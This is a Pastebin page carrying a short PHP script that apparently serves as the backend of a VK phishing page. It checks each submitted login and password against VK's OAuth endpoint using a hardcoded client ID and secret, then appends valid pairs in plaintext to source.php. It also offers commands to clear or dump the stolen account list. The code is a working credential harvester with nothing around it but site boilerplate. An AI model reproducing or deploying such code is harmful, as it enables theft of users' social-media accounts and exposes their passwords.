Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?
- if($_POST['method']=='auth'){
- if((empty($_POST['p'])) or (empty($_POST['l']))) exit('<div class="oauth_error">”казан неверный логин или пароль.</div>');
- $r = file_get_contents('https://oauth.vk.com/token?grant_type=password&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&username='.$_POST['l'].'&password='.$_POST['p']);
- $json = json_decode($r,1);
- if(empty($json['access_token'])) exit('<div class="oauth_error">”казан неверный логин или пароль.</div>');
- file_put_contents('source.php',$_POST['l'].':'.$_POST['p']."\n",FILE_APPEND);
- exit("success");
- }elseif($_POST['method']=='clear') unlink('source.php');
- elseif($_POST['method']=='save'){
- var_dump(urldecode($_POST['accs']));
- /* unlink('source.php');
- $fp = fopen("source.php", "w");
- fwrite($fp, urldecode($_POST['accs']));
- fclose($fp); */
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement